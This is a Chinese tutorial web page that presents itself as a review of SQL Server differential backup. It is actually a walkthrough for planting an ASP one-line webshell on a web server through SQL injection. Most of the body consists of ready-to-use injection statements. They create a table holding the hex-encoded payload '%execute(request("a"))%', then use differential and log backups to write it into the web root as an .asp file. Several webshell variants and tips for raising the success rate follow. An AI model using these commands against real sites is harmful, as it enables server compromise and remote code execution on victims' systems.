复习一下sql server的差异备份

2016-02-19 11:47 5 1 收藏

想不想get新技能酷炫一下,今天图老师小编就跟大家分享个简单的复习一下sql server的差异备份教程,一起来看看吧!超容易上手~

【 tulaoshi.com - 编程语言 】

MSSQL差异备份,就是和前一次备份作对比,把不一样的内容备份下来,这样,只要前一次备份后,插入新的内容,差异备份就可以把刚插入的内容备份出来,而这个备份文件将大大减少,得到webShell的成功也提高了不少! 

差异备份的流程大概这样:
1.完整备份一次(保存位置当然可以改)
backup database 库名 to disk = 'c:ddd.bak';--

2.创建表并插曲入数据
create table [dbo].[dtest] ([cmd] [image]);
insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E);--

3.进行差异备份
backup database 库名 to disk='目标位置d.asp' WITH DIFFERENTIAL,FORMAT;--

上面
0x3C25657865637574652872657175657374282261222929253E
就是一句话木马的内容:%execute(request("a"))%

如下是网上常见的差异备份代码,思路一样!
===================================================
利用差异备份提高提高backupwebshell的成功率,减少文件大小
步骤:
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s

create table [dbo].[xiaolu] ([cmd] [image]);

insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)

declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT

0x77006F006B0061006F002E00620061006B00为wokao.bak
0x3C25657865637574652872657175657374282261222929253E是%execute(request("a"))%
0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000是e:webwokao.asp

声明:方法不是我想的,我只是写工具,默认得到shell是
%execute(request("a"))%
===============================================================

我发现上面代码,有时会无效,而直接用

backup database 库名 to disk = 'c:ddd.bak'

create table [dbo].[dtest] ([cmd] [image]);
insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E)

backup database 库名 to disk='目标位置d.asp' WITH DIFFERENTIAL,FORMAT;--

却可以成功,所以把最原始的方法写出来!思路是前人所创,这不说大家也知道的!

库名 必须要有效的库名,一般注入工具都可以得到!如果某站过滤 "‘",就要把字符内容转为数值了!


网上还有log增量备份的,我也把他记录一下
=====================================================
另一种log增量备份技术:

';alter database null set RECOVERY FULL--

';create table cmd (a image)--

';backup log null to disk = 'f:cmd' with init--

';insert into cmd (a) values (0x3C2565786563757465287265717565737428226122292
9253EDA)--

';backup log null to disk = '备份路径'--

PS:0x3C2565786563757465287265717565737428226122292
9253EDA 是一句话小马16进制转来的

说到一句话马,还可以有这么几种写法:

a).%%25Execute(request("a"))%%25
b).%Execute(request("a"))%
c).%%execute request("a")%%
d).script language=VBScript runat=serverexecute request("a")/script
e).%25Execute(request("a"))%25 

来源:http://www.tulaoshi.com/n/20160219/1598626.html

延伸阅读
一、导出导入SQL Server里某个数据库 1.在SQL Server企业管理器里选中要转移的数据库,按鼠标右键,选所有任务-备份数据库。 2.备份 选数据库-完全, 目的 备份到 按添加按钮 文件名 在SQL Server服务器硬盘下输入一个自定义的备份数据库文件名(后缀一般是bak) 重写 选重写现有媒体 最后按确定按钮。 如果生...
标签: SQLServer
每个SQL Server上面执行的最重要的任务之一都是运行备份和恢复。备份将你的数据库拷贝一份,当问题发生在你的产品数据库的时候,备份通过给你一份完全的拷贝来恢复而提供安全措施。在大多数情况下,恢复过程都是以非产品关键的方式完成的,例如净化开发/测试环境或者净化报告报告环境。但是在大多数的关键模式下,你都需要通过恢复这些备份拷贝...
标签: SQLServer
  数据库服务器每天凌晨两点进行数据库备份,同时对5天前的数据库备份文件进行删除,不然的话就会把硬盘给撑爆的 windows的日志里给出信息: SQL Server Scheduled Job 'DB 维护计划“数据库维护计划1”的 DB 备份作业。' (0x2DA54A5BBEFC2B4A874428B91602C52A) - Status: 失败 - Invoked on: 2005-09-09 01:00:00 - Message: 作业失败...
标签: SQLServer
1 引言 实现磁带备份数据的功能有两方面的困难:首先,SQL Server(以下简称SQL)所提供的数据库的整体备份及恢复功能不能直接满足本系统要求的数据滚动备份。其次,需要解决如何在Web环境下实现磁带数据备份功能。 利用SQL中现有的数据库备份和恢复的命令以及NT中的IDC技术,实现SQL数据库中数据滚动备份到磁带的功能。本系统所实现功...
标签: SQLServer
SQL Server应用程序高级SQL注入(上) 获得更高的权限 一旦攻击者控制了数据库,他们就想利用那个权限去获得网络上更高的控制权。这可以通过许多途径来达到: 1. 在数据库服务器上,以SQLSERVER权限利用xp_cmdshell扩展存储过程执行命令。 2. 利用xp_regread扩展存储过程去读注册表的键值,当然包括SAM键(前提是SQLSERVER是以系统...

经验教程

30

收藏

45
微博分享 QQ分享 QQ空间 手机页面 收藏网站 回到头部